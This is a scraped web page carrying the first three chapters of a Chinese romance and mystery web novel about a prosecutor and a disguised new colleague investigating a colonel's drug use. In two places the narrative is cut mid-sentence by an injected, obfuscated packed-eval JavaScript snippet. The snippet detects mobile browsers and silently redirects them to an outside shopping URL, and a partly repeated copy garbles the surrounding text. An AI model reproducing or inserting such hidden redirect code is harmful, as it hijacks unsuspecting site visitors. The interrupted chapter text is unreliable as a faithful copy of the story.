《和白月光先婚后爱了》 1. 第 1 章 深秋时节,首都的天空又陷入阴霾。闻序戴着口罩,随着熙攘的人流走进联邦最高检察院大楼。 门禁机器叮咚脆响,接着传出机械的女声: “早上好,闻序检察官。” 青年裹紧了灰色风衣,穿过栅栏,步入电梯。 作为整个联邦最高的中央检查机构,检察院永远堪比流水线似的繁忙。巨大的电梯厢内鸦雀无声,每个人脸上都面无表情。 “——喂,今天有新检察官入职,知不知道?” 电梯打开,一踏进走廊,与刚刚的沉闷截然不同的说笑声音便随之传来。茶水间里几个同事聚在一块儿闲聊,闻序看也没看,大步流星向办公室的方向走去。 一面走,扎堆唠嗑的检察官同事们的交谈声便一面飘入耳畔。 “好像是个omega,这年头首都有几个omega检察官?谁知道这职位是怎么拿来的……” “你还没听说吧?这人来头可不小,是首都最大的军火商方广禄的独子,方家的小少爷!在国外修了个漂亮的学历回来,坐到这个位子不是水到渠成?” 一群人叽叽喳喳,闻序无动于衷,路过茶水间时,门内聚集的几个人不约而同向外望去,见路过的是闻序,彼此对视一眼,随即掩嘴嗤笑。 “瞧那穷酸鬼,阴沉着脸又来了。” 声音虽小,却刚好够传到走廊里的青年耳中。 闻序置若罔闻,拐进办公室,来到自己的桌前坐好。透过敞开的门,门口站着的几个人的身影时隐时现,有人抱着胳膊时,手腕上便露出佩戴着的名贵手表,在晨光下闪着鎏金的光。 闻序低着头整理桌面,听到外面仍然断断续续传来的对于即将入职的新人的猜测,不时飘出几个“暴发户”、“土财主”之类的字眼。 他垂着眼帘,手上的动作丝毫未停。 联邦最高检察院里,像闻序这般无权无势,身世平平的人只占极少数,绝大多数都是非富即贵。在检察院尸位素餐的那些纨绔子弟,最无师自通的便是抱团,把拜高踩低、党同伐异的招术玩得炉火纯青。 如今酸溜溜地看不上比自己家财力雄厚的新人,可他们自己又何尝不是走捷径来到这里的? “闻检察官。” 有文员敲门进来,闻序抬起头,见对方拿着一份厚厚的文件走到桌前: “这是新下来的指控令,有人匿名举报中央战区的谭峥上校购买违禁药品和进行权色交易,这个案子交给你来查办。” 闻序接过文件,随口问了句: “资料这么厚,看来对方不是什么善茬。处长指名我做?” 小文员面露难色:“序哥,这案子是难办了点,不过调查令下来的时候,其他几位检察官都正好有案在身……” 话说到这,闻序已经明白是怎么回事了,自嘲似的一笑,不再多言,点点头:“知道了,辛苦你跑一趟。” 小文员也很尴尬,但不好多说什么,欠了欠身就走了。闻序拿过文件简单翻看了两页,这一会儿的功夫,便有人走进办公室来: “都别躲懒了!各自回来坐好,我宣布个事。” 是纪检一处的处长。见上司来了,茶水间摸鱼的几个纷纷住口,鹌鹑似的老老实实低着头回到自己的位置坐好。闻序百无聊赖地放下文件,两手枕在脑后,懒洋洋地靠在椅背上,阖上眼睛。 “从今天开始,就有一位新的同事要加入咱们这个团队,”闻序听到处长说,“大家以后要互相关照,好好相处。来,下面让这位新同事自我介绍一下。” 话音刚落,踢踏一声脚步轻轻叩进门槛。 闻序仍闭着双眼,在角落懒洋洋地装作假寐。 “各位同事,各位前辈,上午好。” 话音刚落,闻序的眼皮忽然过电般轻微一颤。 是个男声,并不低沉却富有磁性,咬字干脆利落,如山涧般的清冽,却令他莫名地格外熟悉。 闻序倏地睁开眼睛,向外望去。 下一秒,青年的瞳孔瞬间瞪大了。 “我叫方鉴云,很高兴能与大家共事,未来的日子请大家多多指教。” 办公室门口站着一个颀长的年轻男人,及肩的黑发半扎着,脑后插着根约莫是乌木做的发簪。或许是因为第一天上班,青年没有穿检察官制服,只穿着普通的黑色衬衫和长裤,单肩斜背着个帆布书包,装扮倒是低调朴素。 太阳穴传来一阵抽痛,闻序却感受不到似的,反而眯起眼睛,仔细观察着门口的新人。 “好,欢迎新的同事加入!” 一阵稀稀拉拉的掌声,alpha们盯着新人隽秀出众的脸,表情轻浮而玩味。处长在新人肩上按了按,有了旁人的肢体接触比对,闻序忽然很直观地发现,这青年虽然骨架并不窄小,衣裳下罩着的身板倒十分清瘦,几乎可以用单薄来形容。 “小方刚入职,你们几个谁主动点,带带新人?” 此言一出,办公室里那几个抱团取暖的你看看我我看看你,谁也没有吭声。 办公室的气氛一下子冷了下来,连处长的表情都有些僵硬,可闻序唯独注意到,这个新人却看不出一丁点被嫌弃的不自在,始终没有任何多余的表情。 “处长,我们几个活都忙不过来,要不让闻序带新人吧!” 有人大喇喇地举手,“您不是说闻序能力过硬吗,他带出来的新人指定让您放心。” 角落里有人嗤嗤笑了两声。处长蹙眉,想了想到底还是没有说什么,叹了口气,转向身旁的新人: “也好……那这段时间你就先跟着闻序吧。” 说着处长伸手一指闻序这边:“喏,就在那。闻序,帮小方收拾一下你旁边那张办公桌,给人家作工位。” 说完处长就走了,那新人道了谢,接着转回身,顶着屋里窃窃私语的议论声和闻序的目光,一步步走向前,停在闻序桌边。 “前辈好,以后请多关照。”青年说。 甫一走近,青年映在眼帘中的面孔便也更加清晰。闻序细看之下发现青年生了一副十分清秀的面孔,只是那双漆黑的眸子如古井般深邃无波,即使是礼貌性地冲人微笑时,眼底也连一丝笑影儿都不见,明明看上去年纪不大,反倒有种寒冬一般了无生趣的凌肃气息。 他望着那双漆黑的眼眸,莫名地怔住了。怔愣的这一瞬功夫,办公室里传来刚刚那个给自己揽活儿的好同事奚落的声音: “闻序,知道你缺钱,给你找个徒弟带,补贴家用,不用谢哈!” 一阵哄笑,闻序就当听不见,办公室里这些人早就磨炼了他的耐心,他对眼前的新人摆摆手做了个不用管的手势,随手抓过桌上刚送来的资料,正欲起身,突然看到那新人抿了抿唇,转过身,面向说话那人的方向。 “前辈好,”青年说话时,闻序可以从侧面看到对方微微颤动的纤长睫羽,“您戴的是西科新出的辰星系列吧?这表很符合您的气质。” 被搭话的检察官一愣,随即抬起手刻意抖了抖手腕,让袖口垂落下来。 “看你这打扮……没想到你倒也还算识货。” 被挤兑的人丝毫不恼,嘴角牵起一个微不可查的弧度。 “入职之前,我看过检察院的内部规定,凡佩戴贵重物品、首饰,价格与自身收入严重不匹配的,都应该上报廉政部,并说明资金来源。” 青年声音不大,语气却冷淡,“辰星系列最低配的价格也要超过十万块,若是廉政部知道有检察官佩戴这种名贵饰物,前辈恐怕会有不小的麻烦。” “你——!” 那人被噎得脸色铁青,指着远处的青年半天说不出话来,周遭那群狐朋狗友也都捂着嘴看笑话。闻序终于忍不住,赶在那脾气大得很的公子哥发飙之前起身: “走了,有好多事要跟你交代呢。” 说着他大步流星向外走去,那新人这才收回看着刚刚出言挑衅的家伙的目光,略微垂眸。 “是。” 他说。 * 检察院一楼,室外停车场。 砰的一声,闻序关上车门,见对方也从副驾驶上了车,一边系好安全带,一边头 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这样并排坐着时,他忽然后知后觉地注意到,眼前的青年坐姿远不如他站立时挺拔,反而有些重心不稳似的,身体略微歪向一边,仿佛必须有什么东西承托住腰肢,让脊椎借力才行。 或许是这坐姿的缘故,配上青年白得病态的肤色,闻序忽然觉得这人身上那股病恹恹的、冷傲骄矜的气质更浓重了。 大概娇生惯养的富家少爷都是如此弱不禁风,闻序心说。 “事倒不少。” 这般想着便也顺嘴这般吐槽了,他回正了头,启动车子:“不用一口一个前辈的,叫我闻序就行。” 青年嗯了一声。 “闻序,”他跟着念了一遍闻序的名字,“好,我清楚了。” 平平无奇的两个字,舌尖抵着上颚时发出若有似无的鼻音,就这样在青年口齿间滚过一遍。闻序心里忽然一动,重重拉下手刹,再次扭头。 “你叫什么来着?” 闻序盯着他问,毫无没认真听别人自我介绍而该感到愧疚的自觉。 青年也转过头,漆黑的瞳仁里,倒影出闻序有些泛着灰调的凌厉双瞳。 “我叫方鉴云。” 他一字一顿。 “方鉴云……” 额角的血管突突直跳,太阳穴又隐隐作痛起来,闻序回过头,望着车窗外阴霾的天,阖了阖眼。 “姓方啊,那没事了。” 兀自嘟囔了半句,闻序收回视线,打了半圈方向盘,另一只手拿过什么东西,看都不看往身边一丢:“接着。” 方鉴云接住闻序丢来的档案袋,拿出里面的资料: “我们现在就要出外勤?” “检察院的工作强度就是这样——至少我这儿是如此,”闻序轻踩油门,哼了一声,“路上先熟悉一下举报对象的资料,这个人就当是我个人对你的一次入职考核。” 说话间,执勤公用车已经掠过停放着的无数昂贵的私人座驾,驶出停车场。 说完话之后闻序等了等,以为方鉴云会再问些什么,可始终没有听到动静,只有偶尔哗啦一下的纸张翻页声。他终究有些按捺不住,从后视镜里草草瞟了低着头浏览资料的人一眼,抿了抿唇: “你是首都人?” 方鉴云把头抬高些角度示意自己在听,眼睛仍盯着资料。 “是,但我很小就出国了,刚刚回到联邦。” 方鉴云说。 车子驶入车道,略微颠簸了两下。闻序回了声哦,见看似孱弱的omega身子随着颠簸晃了两下,鼻腔里有些不耐烦地出了口气,握紧了方向盘。 “知道了。”他顿了顿,“算了,这车旧,开着很颠,你这种娇气的家伙在车上看资料会晕的,等你适应了再说……一会儿我给你口述要点,认真听就行。” 方鉴云眨了眨眼,薄薄的眼皮微微垂下,睫羽压下一小片阴影。 “好。”他低声回答。 车子驶入主干道。很快,一辆停在路边的黑色宾利也适时汇入车流,跟踪着外勤车的方向,悄无声息地紧随而去。 2. 第 2 章 被举报对象的住处与最高检察院几乎横跨了一整个市区,闻序带着方鉴云赶到时,谭峥住处的管家却声称没有收到调查令,暂时不准二人进入。 三年前,谭峥在首都武装部主任陈泳的提拔下,顺利调任到中央战区,三年来晋升速度堪比坐了火箭,风头无两,几乎没人得罪得起。闻序知道这是对方在给检察院下马威,也只好带方鉴云等着,趁这段时间给他好好捋了捋谭峥的档案。 直到午后,二人才被准许进入谭峥家宅,来到会客厅。 “军务繁忙,二位检察官见谅。” 见闻序二人来了,会客厅内坐着的一个男人不紧不慢起身,连迎一迎的意思也没有,只是站在原地,懒懒一伸手。 闻序眼角肌肉僵了僵,并没做声,上前同男人握手: “谭上校你好。我姓闻,这位是我的同事,姓方。” 方鉴云站在身高接近一米九、身材精壮的闻序半步身后,整个人被衬托得愈加清瘦纤细。谭峥见他没穿制服,又不吭声,只当对方不是实习生便是个愣头青,笑而不语,与闻序握过手之后便将右手抽回。 “二位请坐。” 三人落座,管家很快端上三人份的茶点。谭峥拿起自己面前的那杯红茶,慢慢悠悠吹开水面的热气: “我听中央战区的长官说,似乎有人匿名举报我,不知道举报理由是什么?” 闻序微微侧目瞥了一眼身边的人,发现方鉴云仍是那样歪靠地端坐着,却没有一点开口的意思,反而盯着谭峥端着茶杯托盘摩挲的手,若有所思。 看来指望这富家大少爷是不成了。闻序心里叹气,继而严肃道: “确有此事,谭上校。我们接到举报称,你有保持不正当私人关系以及购买和服用违禁药品的嫌疑。” 谭峥拖着长腔哦了一声: “闻检查官,这话未免太可笑了。全战区都知道,我几年前就已经离婚,既没有婚内出轨也没有女票女昌,何来不正当关系一说?举报的人也该拿出点像样的证据才是。” 闻序正色道:“联邦对于公职人员保持不正当私人关系的定义不止您说的这两种,还有权色交易以及——” “哦,还有您说的购买服用违禁药品。” 谭峥把托盘上的茶杯转了一百八十度,随意打断了闻序的陈述,一边用左手端起茶杯,“现在这些举报的成本真是太低了,说我服药,购买记录在哪?服用的是什么违禁药?战区每年都有体检,我要是身体有异常,怎么可能查不出来?” 说着谭峥还讽刺地笑了一声,摇摇头,啜饮了一口红茶。 闻序的眉心逐渐拧起一道川字。与方鉴云不同,闻序脸型生得凌厉硬挺,浓眉大眼、高鼻薄唇,一本正经起来气势极强,有不容他人置喙的威压感。 “并非针对您,只是若是真想购买违禁药,有太多方法可以避开购买记录,”闻序沉声说,“另外,正是考虑到战区体检和您分属军队这个同样的系统,联邦才同意我们检察院介入对战区的调查。审判是法院要做的事,我们的职责仅限于调查取证。” 谭峥眼睛里闪过一丝危险的光:“闻检察官这意思,是觉得我在替自己,替中央战区开脱?” 这话里扣下的帽子不可谓不大,闻序正襟危坐,道:“谭上校——” “上校误会了,例行工作而已,闻检察官当然知道您不会不配合我们。” 闻序的话头生生被截住,转过头去。 刚还貌似搞不清状况似的盯着谭峥不肯吱声的方鉴云,此时出乎意料地正目不转睛地盯着谭峥的眼睛,语气温和,脸上却没有挂笑。 “没有充分证据,我们自然不能带您做进一步的问询,只是为了证明您的清白,至少还需要您配合我们做一个初步的药物筛查。”方鉴云说着,拿出刚刚下车时闻序交待他保存的药物检测仪器,“如果初步筛查没有问题,回去我们也可以向上反映,考虑撤销对您的指控。” 谭峥终于舍得施舍一个正眼给沙发边上坐着的这个苍白消瘦的omega,忽的咧嘴笑笑,接着深望了闻序一眼。 “你这位检察官同事倒是很识时务嘛,”谭峥意味深长道,“闻检察官。” 闻序看着对方胸有成竹的模样,眼神黯了黯,没说话。谭峥站起身: “事不宜迟,开始检测吧。” * 说是检测,其实检察院的初步筛查和交通部门对查酒驾的方法类似,都是通过辅助仪器对被检测者的行为进行测度。考虑到市面上大部分违禁药物都易让人产生肌肉萎缩、四肢痉挛等症状,二人给谭峥使用的是较为便携的上肢测试仪器。 几分钟后。 “结果怎么样?” 左臂还佩戴着绑好的器械,测试一结束,谭峥便率先向二人发问。闻序看着终端显示的数据,一时有些张不开口。 全部合格。无论是臂力、握力还是平衡性检测,谭峥的数据都十分正常,完全看不出服药的痕迹。 见闻序不说话,谭峥对于结果早就心下清楚了七八分,脸上不禁漾起一丝得意的笑容: “看来,一会儿要辛苦二位为我撰写撤销指控的认定书了。” 望着终端上的一排排数字,闻序不由自主皱紧眉头,见谭峥已经把设备取下,张了张嘴,可眼前罕见的情况着实让他大脑陷入一片空白。 联邦的违禁药品管控,一直是政府工作的堵点,闻序处理过违规服用药物的案子有不少,想办法逃避检查甚至作伪证的方式花样频出,可但凡被指控的,没有一个能逃过这种原始的、机械的初步筛查,毕竟身体的数据不会骗人。 难道谭峥这个人,虽然态度嚣张,但确实被人构陷了? “等一下,谭上校。” 谭峥的笑容忽然凝固了,拿着拆下来的仪器的手还伸在半空,却被一只细白的腕子拦下。 是方鉴云。闻序抬眼看去,只见青年上前一步,漆黑的眸子瞬也不瞬地紧盯着男人。 “谭上校,考虑到肌肉控制能力的差别问题,上肢检测仪器必须佩戴在非惯用手上。” 方鉴云说。谭峥看着他,抬起左手晃了晃,语气里染上一丝不耐烦: “不然呢?这点常识我还是知道的。” 方鉴云一直沉着的嘴角忽然向上弯了弯,无声地笑了。 “可您是左利手,谭上校,”方鉴云轻轻地、却笃定地说道,“劳驾,请您重新测试一遍。” 屋内的空气仿佛都凝结成了冰。谭峥瞳孔缩了缩,脸上却听见什么天方夜谭似的笑了: “这位检察官,想要刁难人,也要找个说得过去的借口吧?” 方鉴云垂下眼帘,用目光示意在场的二人:“谭上校是军人,可左手虎口和食指上却有右手持枪的人才会有的枪茧。另外,刚刚您的管家上茶的时候,咱们三个人的茶杯把手都朝向右侧,只不过——” 青年说着故意停了停,偏过头去望向茶几,闻序也下意识跟着挪开视线一同看去。 “您的管家记得掩饰,可您还是下意识选择了用您最喜欢的姿势拿放茶杯呢,上校。” 茶几桌面上,摆着三个一模一样的茶杯,唯独谭峥动过的那一个,把手朝向左边。 霎那间,闻序忽然明白了为什么自打进了会客厅后,身为新人的方鉴云便一直不声不响地盯着谭峥看了。他回过头去,看见谭峥的脸色黑得可怕,望着方鉴云的表情仿佛嗅到猎物血腥气味的凶兽,眼底闪过怒意的光,嘴唇蠕动了两下,却一个字也没说出来。 方鉴云的微笑被抽干一般迅速消失了,重新面无表情地盯着谭峥,声音渐冷。 “请您用右手重新检测。”青年一拨手指,四两拨千斤似的将谭峥手里的仪器推开。 * 半小时后,谭峥住宅外。 走到停车位边上时,闻序想了想,还是忍不住转身对身后的方鉴云道: “今天你表现得……挺不错。观察得很细致,若不是你在,我自己一个人恐怕就要无功而返了。” 方鉴云脸上倒看不出被前辈表扬的喜悦,淡淡一颔首:“这个谭上校一早料到会做药物筛查,就等着利用他左撇子这一点钻我们的空子,今天纯属走运,不然这人的确不好对付。” 第二次检测时,由于非惯用手对肌肉骨骼的控制力减弱,谭峥毫无意外地没有通过筛查。有了初筛结果,后续对谭峥服药的深入调查自然也顺理成章。 闻序倒也有些摸清楚这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658578|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个新搭档宠辱不惊的脾性,把车解锁,正要拉开车门,忽然想到什么,叫住就要绕到另一边去的方鉴云: “国外的检察官预备学校,都教授什么?你怎么会判断一个人的惯用手上有没有枪茧?” 方鉴云的脚步一顿。 “我父亲是军火商,”他侧过身回看向闻序,慢慢说道,“他也是个军迷,教过我很多乱七八糟的知识罢了。” 闻序看着方鉴云的背影。夕阳将落,方鉴云的侧影笼罩在玫瑰色的霞光之下,将青年瓷白的肌肤染上一些雾蒙蒙的血色,宛如油画里的光轮。 “哦……行,我也就随便问问。”闻序重新握住车门把手,不再看方鉴云,“回去之后你整理整理,没什么事就下班吧。你毕竟刚来,回去好好研究谭峥的档案,还有检察院的各项规章制度——” 嗡嗡的低频声响起,震动贴着大腿外侧肌理传来,闻序止住话头,对方鉴云比了个先别上车的手势,另一只手掏出手机,接通电话:“喂?” 电话里隐约传来谁的说话声。方鉴云回身看着闻序,忽然发现闻序握着电话的手攥紧了,用力到骨节泛起青白。 “怎么是你?” 他沉声问,语气十分不善。 方鉴云像个冰冷无情的机器人,沉默地等候闻序讲电话。电话里的人又说了一大串什么话,夕阳下青年棱角锋俊的侧脸却愈发僵硬,立挺的眉弓压了下来,眼底凝聚起隐忍的烦躁与不安。 大约是碍着方鉴云这个不知情人在场,闻序半背过身,咬字也含混起来。 “……那你们在那儿等着吧,我马上过去。” 说完,闻序不顾电话里还在讲话的人,挂断电话,把手机揣回兜里转身,整个动作一气呵成。 “我有点事要出去,你开检察院的公车回去吧。”闻序对方鉴云说,“检测那边的结果出来之后急记得把三项报告给我,然后就没事了。” 简明扼要地交代完,闻序这就要走,忽然方鉴云那边皱了皱眉: “什么三项报告?” 闻序的脚步急刹住:“这是预备学校的基本课程,药物筛查的血液、尿液、信息素报告,你居然不知道?” 方鉴云移开视线,不再和闻序对视。 “抱歉,我理论基础不扎实,以后会补上的。”方鉴云道。 闻序微不可察地叹了口气。 “又是个拿钱买文凭的……算了,毕竟你比他们有些真本事。”他摆摆手。方鉴云微微抬眼: “着急的话,你开车去办事吧。我可以自己叫车回检察院。” 闻序想说什么,可下意识抬手看了看表。距离电话里的人和自己约定的时间已经只剩下不到十五分钟。 “那我就不跟你客气了。”他重新走回车门边,“这里叫计程车回去车费很贵,记得留发票报销。当然,不差这点钱的话,当我没说……” 方鉴云:“嗯,我会的,多谢提醒。” 闻序也没再啰嗦,上了车,很快外勤车便开走了。方鉴云逆着光站在原地,看着老旧的外勤车排气管道吐出两股黑烟,很快消失在视线远方。 他面朝车子离去的方向站了一会儿没动,整张脸浸在阴影里,看不清表情。过了一会儿方鉴云这才迈开腿,向着另一个方向走去,穿过马路,来到路边停着的黑色宾利轿车旁,拉开副驾驶车门,坐进车内。 砰的一声,车门关严,方鉴云扭身去扯安全带,忽然开口道: “计划很顺利,江澈,对谭峥的调查可以继续进行了。档案信息我稍后整理给你。” 驾驶位上传来一个青年男性的声音: “保险起见,还是别喊我名字,小心哪天在外顺口叫出来。” 青年把安全带横拉过来,正低着头扣锁扣,闻言忽然笑了一声,黑色衬衫下平直而瘦削的肩膀轻微颤动。 “怕什么,你回国的事,外面总要知道的。” 他系好安全带,转过头,幽深的瞳孔盯着驾驶位上回望向自己的、穿着与谭峥同样深蓝色军装的年轻alpha,嘴角噙起一丝苦涩的笑意。 “你好歹是光明正大地回到这里。”他轻声说,“我一个假的方鉴云都不怕,你这个真的楚江澈,还害怕什么?” 3. 第 3 章 被唤作楚江澈的青年抿紧了唇,眼底波光微动。 “我已经和方叔打好招呼了,”楚江澈看着副驾驶位置上的人,“他儿子出国很久,国内连见过他小时候模样的人都极少。在这里,你就是真的那个方家独子。” 方鉴云不置可否,坐正了身子,微微垂下头。 “等一切都结束之后,我一定去当面感谢方叔,”方鉴云低声说,“他是看在你父母对他有恩的份儿上,才肯冒着这么大的风险帮我的忙。方叔是我一辈子的恩人。” 楚江澈启动车子:“一定会有那一天的。回检察院吗?” 说话间车子已经开始低速在路面上发动起来,方鉴云身子往后靠了靠,纤瘦的后腰枕在靠枕上的刹那,他整个人忽的一颤,把头别过去假装在看窗外,痛苦地阖上双眼。 良久,他声线有些浑浊地嗯了一声。楚江澈边开车边问: “那位闻检察官,没认出你?” 方鉴云的睫羽狠狠战栗了一下。 “没认出也好,我们要走的路太危险,同行的人只会被连累到。” 方鉴云没睁眼,突起的喉结轻微一滚,脸上好容易攒下一点的红润血色因为刚刚楚江澈的一句话消失殆尽。他一手绕到身后,虎口卡住纤韧的腰侧,轻轻揉捏。 楚江澈开着车,忽然道:“可你不觉得奇怪吗?就算你俩六年没见,他也不至于对你一点印象都没有吧?他好像……把你忘得也太彻底了点。” 方鉴云眼皮紧了紧:“暂时不知道发生了什么,不过忘了更好——嘶……” 车子碾过道路上裂开的低洼,尽管减震良好,突如其来的颠簸还是让方鉴云倒吸了口凉气,另一手猛攥紧扶手,额角渗出些冷汗,打湿了几缕过长的碎发。 楚江澈踩了踩刹车:“抱歉,我开慢点。” “不碍事,”方鉴云的手顺着绷紧的腰线往下,按住瘦得突出的椎骨打着圈按揉,“都是白天在外勤车上颠簸的,没想到他开车那么风风火火……也怪我自己,身板太脆。” 话题似乎触及到某些二人心照不宣的禁忌,车内气氛一时陷入了僵局。很快,楚江澈率先打破沉默: “方叔在首都有一套房产,他让你尽管住着,你要是自己租房,被人看见反而不好。” 方鉴云揉着腰,虚弱地嗯了一声,肩膀肉眼可见地松垮下来。 楚江澈又道:“还有,你在检察院是新人,若是没有闻序,按理你是不够资格参与中央战区上校的指控案的。就算你不想把他卷进来,可该用他的时候,还是得尽可能借他的力。” 这次方鉴云没有回应,连手上揉腰的动作都不自觉放缓。 车子在十字路口右拐,楚江澈看后视镜的功夫,扫了被冷汗浸湿的omega一眼:“说起来,刚刚闻序做什么去了?” 借着离心力,方鉴云把头靠在车窗上,终于睁开眼睛,从车窗的倒影上看见一双同样疲惫的、被晚霞冲淡了墨色的眸。 “我不知道,”镜像里的青年苦笑道,“现在我对他,就像他对我一样一无所知。” * 同一时间。 首都卫国区某家咖啡馆内,闻序掀开门帘大步走进店内,对迎上前的服务生摆了摆手,扫视一圈,视线定格在角落的卡座上。 一对头发花白的老夫妻正坐在卡座上,循声抬起头,看到闻序的那一刻,夫妻二人脸上不约而同先是露出惊喜之色,随即又因为见到闻序并不怎么好的脸色后转而尴尬起来。 闻序走过去,脱下风衣外套,在二人对面坐下。那夫妻本就因上了年纪有些佝偻,闻序身材又高大,二人纷纷抬起头来,看着他的眼神里多了些惊羡的神采。 那女人露出一个有些讨好的笑容,目光在闻序英俊的面庞上流连: “儿子,好久没见,妈很想你……快让妈好好看看——” “不需要点单,谢谢。” 闻序忽然转头对过来的服务生说,仿佛有意无意忽略掉母亲戛然而止的笑容。闻序把手机顺手倒扣在桌面,漠然地看着桌对面的父母。 “从你们把我赶出家门到现在,整整八年了,”闻序说着挑了挑眉,“真的想我的话,你们有一千次机会可以来找我,而不是直到现在。” 女人的脸色顿时青了,嘴唇哆嗦,却一个音节也发不出。倒是闻父清清嗓子,脸上置若罔闻般挂着慈父式的笑容: “阿序,当年的事,爸和妈确实有做得不对的地方。可毕竟血浓于水,如今你就当给爸妈一个补偿你的机会,好不好?” 闻序一时沉默了。闻父见状,笑意加深,身子向前倾:“阿序,你来检察院时间也不短了,工作还顺心吗?我和你妈听说你在那个什么纪检,是全部门成绩最好的检察官,爸妈真为你感到骄傲……” 明知道这些都是客套话,可今天在公共场合,不能一走了之,闻序强忍住翻白眼的冲动,揉了揉纠集的眉心。 自打八年前,闻序的父母将当时那不争气的儿子赶出家门、扬言要断绝亲子关系,再到三年前闻父闻母千方百计联系到闻序,再到今天,他们始终没有见过面。三年来,闻父闻母每次打电话的主题都只有一个。 那就是要钱,理由翻新地要钱,锲而不舍地要钱。 毕竟十六岁那年,他被赶出去的最根本理由,就是自己已然成为这个贫穷的家庭里最大的累赘。二十多年的人生里,闻序能回忆起的与父母最深的甚至唯一的连结,大概也只剩下金钱二字。 他默默等着父母何时巧妙地切入到要钱的主题,在二人喋喋不休的空隙偶尔冒出一个诡异的念头—— 每次都是电话里要钱,这一次他们怎么反而舍得下血本,跑过来当面和自己叙一叙亲子情了? “——阿序,你在检察院这么久,到现在还单身吗?” 闻母的一句话,将神游的思绪拽回。 闻序下意识蹙眉,这点细微的情绪变化也被闻母捕捉在眼底,对方随即放轻了语气,近乎于陪笑道:“你工作忙,没时间也是情理之中……只不过阿序,你这么年轻有为,还是个alpha,应该赶紧找个合适的人,不为别的,至少能帮衬你点,你说是不是?” 太阳穴的抽痛感再次毫无征兆地降临,闻序有点按捺不住脸上的焦躁,对面二人误把闻序的黑脸认为是和刚刚的话有关,彼此对视一眼,最后还是闻父再度开口: “阿序,之前你是跟我们说过你有心上人,不过……你自己恐怕也清楚,你说的那人就没有找到的可能,这结婚和恋爱不一样,不是闹着玩的——” 电话铃声响起,闻父的眼睛一下子盯住震动个不停的手机,脸上闪过不悦,却还是勉强笑笑:“别耽误工作上的事,你先接。” 闻序也没想和对方逢场作戏的念头,干脆地拿过手机按下接听:“什么事?” 电话那头传来白天那个小文员的声音: “不好了序哥,谭峥那边出事了!” 闻序险些没控制住脸上的表情,还是镇定问道:“你慢慢说,是他本人出了什么事吗,还是三项报告出了问题?” “都不是!”电话里的小文员急吼吼道,“刚刚警察局那边打电话过来,说让咱们的人过去卫国区医院急诊科一趟——” “谭峥受伤了,要不行了?” “不是他,是谭峥的一个——”小文员破罐子破摔道,“唉,是他的情人!看样子八成是磕了药,闹大发了,我听说救护车到医院时人都快没气儿了!序哥,处长说这案子进度要提一提了,辛苦你带新来的方检察过去一趟……” 闻序握着手机,不动声色地看了看对面的闻父闻母一眼。那夫妻二人不知发生了何事,正用有些好奇却不敢明目张胆窥视的目光偷偷看向他。 “好,你放心,我马上就到位。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658579|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 二人简单聊了两句就结束了通话。闻序拿过风衣,闻母听了刚刚通话里闻序讲的话,猜出儿子要走,急得就要起身:“阿序!” 闻序动作一停,重新坐回沙发上,鼻腔里重重出了口气:“有话快说,我有急事要撤了。要是想打感情牌要生活费的话,您二老还是免开尊口吧。” 闻父闻母皆是一怔。闻父下意识撇了撇嘴,似乎要发怒,但想到什么后又克制住了,摇头笑道: “孩子,你看你想到哪里去了!其实今天我和你妈是来告诉你一个好消息,能够解决你的终身大事的。” 闻序一时有些茫然。他很难想象他的父母能和好消息之间产生任何关联。倒是闻母见儿子没有作声,如同得了鼓励,抢过话头: “是这样的阿序,当年妈还怀着你的时候,你爸他还在创业,那时有个和你爸一样白手起家的朋友,是比拜把子兄弟还要好的关系,因此还指腹为婚过。你如今二十四了,始终没着落可不成,本来我和你爸为此愁得很,结果你说巧不巧——” 闻序听到一半已经明白接下来闻母要说什么了,可还是拦不住对方一股脑地继续讲下去: “前些年他们家里搬到了国外享福,本来该彻底没联系的,今年他们家的孩子突然回到联邦了!你说,他们一家子在国外好好的,回来干什么?可不就是记着咱们的承诺,要来履行婚约吗?” 一番话实在过于炸裂,闻序长这么大还是头一遭知道自己也有被订下娃娃亲这档子烂俗的事,更震惊于父母这种厚颜无耻级别的异想天开: “您别胡说了成吗,就算是当年咱们两家有过什么患难之交,但这都是多少年前的老黄历了,又不是白纸黑字的合同,您凭什么觉得人家会千里迢迢回来和我这个一穷二白的检察官结婚?更何况我早说过我有心上人了,绝不会因为什么可笑的婚约就随便和人结婚——” “闻序你这孩子,怎么跟你妈说话呢!” 闻父再也忍不住,重重往桌上一拍,引得周围几桌人纷纷侧目而视,闻父本人却看不见似的,吹胡子瞪眼地就要同闻序理论: “结婚是一辈子的事情,你知道好的婚姻会给你带来多大的助益吗?你难道就没想过,你空有才干,却一直熬不出头,是因为什么?” 闻序冷笑:“可算说出心里话了,说到底,你们还不是看上了昔日的穷兄弟一朝翻身,想着攀个好亲家,最好再通过我多捞一笔钱?” 话音未落,闻父便咬着牙打断他: “一派胡言!总之人家的孩子现在说不定是因为你才会回国,我和你妈不可能坐视不管!我不管你有什么阿猫阿狗作心上人——” 话没说完,对上那双骤然阴冷下来的铅灰瞳孔,闻父忽然一个寒颤,噤声了。 闻序慢慢站起身来,高挺的眉弓之下,一双深邃的眼窝里噙着充满警告意味的,凶狠的光。 “请您慎言,”闻序一字一顿,“我说了,这婚我不会结。没别的事,我就先走了。” 